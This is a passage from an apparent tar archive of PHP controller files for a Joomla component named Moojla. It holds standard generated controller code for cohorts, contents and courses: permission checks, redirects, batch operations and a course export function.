		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/cohort.php000064400000020165151165724360011137 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		cohort.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Cohort Controller
 */
class MoojlaControllerCohort extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Cohorts'; // safeguard for setting the
return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.cohort.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.cohort.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Cohort', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=cohorts'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/cohorts.php000064400000003542151165724360011322
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		cohorts.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Cohorts Controller
 */
class MoojlaControllerCohorts extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_COHORTS';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Cohort', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
controllers/content.php000064400000020175151165724360011314
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		content.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Content Controller
 */
class MoojlaControllerContent extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Contents'; // safeguard for setting the
return view listing to the main view.
		parent::__construct($config);
	}

        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();

		// In the absense of better information, revert to the component
permissions.
		return parent::allowAdd($data);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit',
'com_moojla.content.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('core.edit.own',
'com_moojla.content.' . $recordId))
				{
					// Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then allow.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('core.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return parent::allowEdit($data, $key);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Content', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=contents'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		return;
	}

}
controllers/contents.php000064400000003547151165724360011503
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		contents.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Contents Controller
 */
class MoojlaControllerContents extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_CONTENTS';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Content', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
controllers/course.php000064400000024050151165724360011136 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Course Controller
 */
class MoojlaControllerCourse extends JControllerForm
{
	/**
	 * Current or most recently performed task.
	 *
	 * @var    string
	 * @since  12.2
	 * @note   Replaces _task.
	 */
	protected $task;

	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		$this->view_list = 'Courses'; // safeguard for setting the
return view listing to the main view.
		parent::__construct($config);
	}


/***[JCBGUI.admin_view.php_controller.129.$$$$]***/
//
/***[/JCBGUI$$$$]***/


        /**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		// Get user object.
		$user = JFactory::getUser();
		// Access check.
		$access = $user->authorise('course.access',
'com_moojla');
		if (!$access)
		{
			return false;
		}

		// In the absense of better information, revert to the component
permissions.
		return $user->authorise('course.create', $this->option);
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{		// get user object.
		$user = JFactory::getUser();
		// get record id.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;


		// Access check.
		$access = ($user->authorise('course.access',
'com_moojla.course.' . (int) $recordId) &&
$user->authorise('course.access', 'com_moojla'));
		if (!$access)
		{
			return false;
		}

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('course.edit',
'com_moojla.course.' . (int) $recordId);
			if (!$permission)
			{
				if ($user->authorise('course.edit.own',
'com_moojla.course.' . $recordId))
				{
					// Fallback on edit.own. Now test the owner is the user.
					$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
					if (empty($ownerId))
					{
						// Need to do a lookup from the model.
						$record = $this->getModel()->getItem($recordId);

						if (empty($record))
						{
							return false;
						}
						$ownerId = $record->created_by;
					}

					// If the owner matches 'me' then do the test.
					if ($ownerId == $user->id)
					{
						if ($user->authorise('course.edit.own',
'com_moojla'))
						{
							return true;
						}
					}
				}
				return false;
			}
		}
		// Since there is no permission, revert to the component permissions.
		return $user->authorise('course.edit', $this->option);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		// get the referral options (old method use return instead see parent)
		$ref = $this->input->get('ref', 0, 'string');
		$refid = $this->input->get('refid', 0, 'int');

		// get redirect info.
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		// set the referral options
		if ($refid && $ref)
                {
			$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
		}
		elseif ($ref)
		{
			$append = '&ref='. (string)$ref . $append;
		}

		return $append;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal
error is set.
	 *
	 * @since   2.5
	 */
	public function batch($model = null)
	{
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Set the model
		$model = $this->getModel('Course', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=courses'
. $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   12.2
	 */
	public function cancel($key = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');

		$cancel = parent::cancel($key);

		if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view='.(string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $cancel;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL
variable.
	 * @param   string  $urlVar  The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   12.2
	 */
	public function save($key = null, $urlVar = null)
	{
		// get the referral options
		$this->ref = $this->input->get('ref', 0,
'word');
		$this->refid = $this->input->get('refid', 0,
'int');

		// Check if there is a return value
		$return = $this->input->get('return', null,
'base64');
		$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));

		if ($this->ref || $this->refid || $canReturn)
		{
			// to make sure the item is checkedin on redirect
			$this->task = 'save';
		}

		$saved = parent::save($key, $urlVar);

		// This is not needed since parent save already does this
		// Due to the ref and refid implementation we need to add this
		if ($canReturn)
		{
			$redirect = base64_decode($return);

			// Redirect to the return value.
			$this->setRedirect(
				JRoute::_(
					$redirect, false
				)
			);
		}
		elseif ($this->refid && $this->ref)
		{
			$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;

			// Redirect to the item screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		elseif ($this->ref)
		{
			$redirect = '&view=' . (string)$this->ref;

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . $redirect, false
				)
			);
		}
		return $saved;
	}

	/**
	 * Function that allows child controller access to model data
	 * after the data has been saved.
	 *
	 * @param   JModel  &$model     The data model object.
	 * @param   array   $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{

/***[JCBGUI.admin_view.php_postsavehook.129.$$$$]***/
/*
	dump($model, "model");
	dump($validData, "validData");
    $dataObj = array(
      "wsfunction"			=>
"moojla_get_course_custom_fields_data",
      "moodlewsrestformat"	=> "json",
      "courseid"			=> $data["remoteid"]
    );
    $coursecustomfields =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select(array('a.*', 'b.id', 'b.name
AS fieldName', 'b.title AS fieldTitle'));
   
$query->from($db->quoteName('#__moojla_course_field_mapper',
'a'));
    $query->join('INNER',
$db->quoteName('#__fields', 'b') . ' ON '
. $db->quoteName('a.coursefield') . ' = ' .
$db->quoteName('b.id'));
    $query->where($db->quoteName('a.published') . ' =
1' );
    $query->where($db->quoteName('b.context') . ' =
"com_moojla.course"' );
    $db->setQuery($query);
    $coursecustomfieldsmapp = $db->loadObjectList();
    dump($query->__toString(), "query");
    $mapper = array();
    foreach($coursecustomfieldsmapp as $cm)
    {
      $mapper[substr($cm->mcoursefields, 3)] = array('name'
=> $cm->fieldName, 'title' => $cm->fieldTitle,
'img' => $cm->field_icon) ;
    }
    dump($mapper, "mapper");
    foreach($coursecustomfields as $cc)
    {
      if(isset($mapper[$cc->shortname]))
      {
        $mapper[$cc->shortname]['value'] = $cc->value;
      }
    }
    dump($mapper, "mapper");
*//***[/JCBGUI$$$$]***/


		return;
	}

}
controllers/courses.php000064400000064172151165724360011332
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		courses.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Courses Controller
 */
class MoojlaControllerCourses extends JControllerAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_MOOJLA_COURSES';

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Course', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	public function exportData()
	{
		// Check for request forgeries
		JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
		// check if export is allowed for this user.
		$user = JFactory::getUser();
		if ($user->authorise('course.export',
'com_moojla') &&
$user->authorise('core.export', 'com_moojla'))
		{
			// Get the input
			$input = JFactory::getApplication()->input;
			$pks = $input->post->get('cid', array(),
'array');
			// Sanitize the input
			$pks = ArrayHelper::toInteger($pks);
			// Get the model
			$model = $this->getModel('Courses');
			// get the data to export
			$data = $model->getExportData($pks);
			if (MoojlaHelper::checkArray($data))
			{
				// now set the data to the spreadsheet
				$date = JFactory::getDate();
				MoojlaHelper::xls($data,'Courses_'.$date->format('jS_F_Y'),'Courses
exported ('.$date->format('jS F,
Y').')','courses');
			}
		}
		// Redirect to the list screen with error.
		$message = JText::_('COM_MOOJLA_EXPORT_FAILED');
